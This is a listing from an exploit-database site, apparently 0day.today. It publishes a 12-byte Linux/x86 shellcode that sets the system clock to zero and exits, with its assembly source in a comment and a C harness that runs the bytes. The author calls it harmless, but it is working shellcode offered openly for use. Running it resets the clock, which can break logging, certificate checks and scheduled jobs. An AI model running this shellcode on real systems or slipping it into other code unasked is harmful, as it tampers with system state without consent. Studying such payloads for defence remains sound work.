[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 set system time to 0 and exit 12 bytes

Author
Kris Katterjohn
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7188
Category
shellcode
Date add
17-11-2006
Platform
linux/x86
================================================
linux/x86 set system time to 0 and exit 12 bytes
================================================





/* By Kris Katterjohn 11/18/2006
 *
 * 12 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *      push byte 25
 *      pop eax
 *      cdq
 *      push edx
 *      mov ebx, esp
 *      int 0x80
 *
 * ; exit()
 *
 *      inc eax
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80";

       (*(void (*)()) shellcode)();
}



#  0day.today [2024-12-25]  #